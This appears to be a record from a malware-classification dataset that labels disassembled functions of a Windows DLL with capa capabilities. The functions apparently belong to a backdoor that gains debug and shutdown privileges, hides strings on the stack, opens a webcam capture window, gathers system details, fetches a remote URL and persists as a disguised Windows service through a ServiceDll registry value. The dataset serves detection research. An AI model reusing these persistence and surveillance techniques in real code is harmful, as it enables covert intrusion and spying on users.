joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f510
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x23c
push esi
push edi
push str.LocalReAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0xc], eax
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], esi
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x141]
mov byte [esp + 0x140], al
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000f710
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x10], edi
jne 0x1000f58f
pop edi
xor eax, eax
pop esi
add esp, 0x23c
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x28], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push edi
mov byte [ebp], 0x82
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000f6dd
mov ecx, dword [esp + 0x28]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x28]
test eax, eax
je 0x1000f6ca
cmp eax, 4
je 0x1000f6ca
cmp eax, 8
je 0x1000f6ca
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x148]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x44]
push eax
call edi
lea ecx, [esp + 0x148]
mov esi, eax
push ecx
call edi
lea eax, [esi + eax + 6]
push ebp
lea esi, [eax + ebx]
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000f655
push 0x42
push esi
push ebp
call dword [esp + 0x20]
mov ebp, eax
mov edx, dword [esp + 0x28]
lea eax, [esp + 0x44]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x44]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x44]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x148]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x148]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x148]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x18]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x20]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000f5c4
push 0x42
push ebx
push ebp
call dword [esp + 0x20]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000f710
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x23c
ret
Function at 0x1000f7a0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000f710
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000f710
add esp, 8
ret

Function at 0x1000f980
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push 0x1000f900
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret

Function at 0x1000fbd0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000fc3f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1000fc1d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000fc3f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000fc15
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000fc28
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x1000fc50
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000fca2
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x1000fe30
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000fe7a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000fe7a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000fe97
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000fe97
call fcn.1000fcb0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000fc50
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x1000ff00
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000feb0
add esp, 8
test eax, eax
jne 0x1000ff61
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000ff85
push esi
call fcn.1000fb60
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x10010220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, ecx
push str.FreeLibrary
push str.kernel32.dll
mov dword [esi], 0x1001a4c4
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov cl, 0x6c
mov dword [esp + 0x10], eax
mov al, 0x65
mov byte [esp + 0x29], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], cl
mov cl, 0x74
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x14]
lea ecx, [esp + 0x24]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x1c], 0x43
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x22], 0x45
mov byte [esp + 0x23], 0x76
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0
call edi
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x100214b4], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10010480
test al, al
je 0x10010382
mov al, byte [0x100214b0]
test al, al
jne 0x10010382
mov edx, dword [0x100214b4]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push bind
push 0x10020984
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x100110b0
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x2d4
push ebx
push ebp
push esi
push edi
push str.RegQueryValueExA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
lea eax, [esp + 0x7c]
xor ebx, ebx
push eax
mov byte [esp + 0x7c], 0x66
mov byte [esp + 0x15e], bl
mov dword [esp + 0x80], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2f4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x160]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1e4], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x14], 0x100
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1e5]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push str.NetSubKey
push reloc.WS2_32.dll_accept
mov dword [esp + 0x40], esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1e4]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push ebx
push 0x10020984
push eax
mov dword [esp + 0x38], esi
call ebp
test eax, eax
jne 0x100111a0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100111b3
lea edx, [esp + 0x14]
lea eax, [esp + 0x1e4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x2ec]
xor ecx, ecx
mov dword [esp + 0x24], ecx
lea edx, [esp + 0x18]
mov dword [esp + 0x28], ecx
lea eax, [esp + 0x24]
mov dword [esp + 0x2c], ecx
push edx
mov dword [esp + 0x34], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x24], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [esp + 0x28]
mov ecx, 0xc
lea esi, [esp + 0x1e4]
lea edi, [esp + 0x128]
mov dword [esp + 0x124], edx
lea eax, [esp + 0x54]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x68]
mov word [esp + 0x118], cx
call fcn.10010f50
lea edx, [esp + 0x34]
mov dword [esp + 0x11c], eax
push edx
mov dword [esp + 0x38], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x3c]
shr eax, 0x14
inc eax
mov dword [esp + 0x120], eax
call fcn.10010fc0
mov ecx, dword [esp + 0x2f0]
mov byte [esp + 0x15a], al
mov eax, dword [esp + 0x2e8]
lea edx, [esp + 0x1c4]
push 0x20
push edx
push eax
mov dword [esp + 0x168], ecx
call fcn.10011040
add esp, 0xc
lea ecx, [esp + 0x78]
push 0x16c
push ecx
mov ecx, ebx
call fcn.100027e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2d4
ret
Function at 0x100112b0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
push 0x2e0
push str.22645___7_626
call fcn.10012870
add esp, 8
cmp word [0x1001ef5a], 0
je 0x10011415
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x10], edi
jne 0x10011319
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
push str.InternetOpenUrlA
push esi
call ebp
push 0
push 0x80000100
push 0
push 0
push 0x1001ee2c
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x10011345
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x18]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
mov dword [esp + 0x1c], 0
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x800
push edx
push ebx
call eax
push str.InternetCloseHandle
push esi
call ebp
mov edi, eax
push ebx
call edi
mov eax, dword [esp + 0x10]
push eax
call edi
lea ecx, [esp + 0x18]
push 0x1001f39c
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x100113c1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x18]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
sub ecx, edx
push ecx
push eax
push str.22645___7_626
call dword [sym.imp.MSVCRT.dll_strncpy]
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [0x1001ef58], ax
push str.FreeLibrary
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push esi
call eax
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x808
ret
Function at 0x10011800
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x3c
push ebp
push esi
push edi
push str.Sleep
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov al, 0x5c
mov byte [esp + 0x14], al
mov byte [esp + 0x1c], al
push 0x100214d4
push 0xf003f
lea eax, [esp + 0x14]
push 0
mov cl, 0x53
push eax
push reloc.WS2_32.dll_bind
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], 0x4f
mov byte [esp + 0x22], 0x46
mov byte [esp + 0x23], 0x54
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0x52
mov byte [esp + 0x27], 0x45
mov byte [esp + 0x29], 0x33
mov byte [esp + 0x2a], 0x36
mov byte [esp + 0x2b], 0x30
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x66
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x31], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100119e6
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x20]
push 0x7f04
rep stosd dword es:[edi], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov eax, dword [0x10021384]
mov dword [esp + 0x24], 2
push eax
mov dword [esp + 0x2c], 0x100117f0
mov dword [esp + 0x38], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [0x10021384]
push 0x7f8b
push ecx
mov dword [esp + 0x3c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x3c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea edx, [esp + 0x20]
mov dword [esp + 0x3c], eax
push edx
mov dword [esp + 0x44], 0x66
mov dword [esp + 0x48], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x10021384]
push 0
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push 0
push bind
push bind
push bind
push bind
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x50]
push 0x104
mov eax, dword [esi]
push eax
push 0x10021614
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x10021614
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10011790
push 0x10021614
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push 0
push 2
mov dword [0x100214cc], eax
call fcn.10011720
push 0
push 0
push 4
call fcn.10011720
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10012ef0
push 0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10012730
push 0
push 0
call esi
mov dword [0x1001efe0], eax
push 0
push 0
call fcn.10011430
add esp, 8
push 0x3e8
call ebp
jmp 0x100119e6
Function at 0x10011a00
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10011a7f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x10011a6d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10011a6d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x10011a3c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x10011a90
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x100214c8], eax
jne 0x10011aab
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Ud__qf_Lmttv_P_ztmfm_Fmpqmix
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x100214c4], eax
jne 0x10011ae4
pop ecx
ret
mov edx, dword [0x100214c8]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x100214c4]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.Todcp__Omqww_Qcwtkbg_Fcq_qkcd
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x10011b20
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x10011d60
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10011c80
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.10011ce0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._QzqqmhSmlv__BhnaMdegoxf
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10011c80
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10011ce0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret